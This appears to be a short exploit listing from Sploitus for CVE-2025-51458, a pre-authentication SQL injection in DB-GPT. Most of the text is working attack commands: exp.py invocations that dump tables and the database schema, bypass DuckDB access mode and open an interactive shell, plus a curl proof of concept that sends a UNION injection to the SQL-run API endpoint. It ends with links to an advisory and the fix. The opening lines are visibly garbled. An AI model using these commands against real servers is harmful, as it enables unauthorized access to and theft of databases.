Share
## https://sploitus.com/exploit?id=3B9C2C01-C8D9-5DA7-808F-7A2700614728
# CVE-2025-51458-exp

Pre-Auth SQL Injection in [DB-GPT](https://github.com/eosphoros-ai/DB-GPT)  --sql "SELECT VERSION()"

# Dump tables
python3 exp.py http://target:5670  --dump-tables

# Dump schema
python3 exp.py http://target:5670  --dump-db

# DuckDB bypass
python3 exp.py http://target:5670  --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"

# Interactive mode
python3 exp.py http://target:5670 
```

## Quick PoC

```bash
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
  -H "Content-Type: application/json" \
  -d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'
```

## References

- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-51458)
- [Gecko Security Blog](https://www.gecko.security/blog/cve-2025-51458)
- [Fix PR #2650](https://github.com/eosphoros-ai/DB-GPT/pull/2650)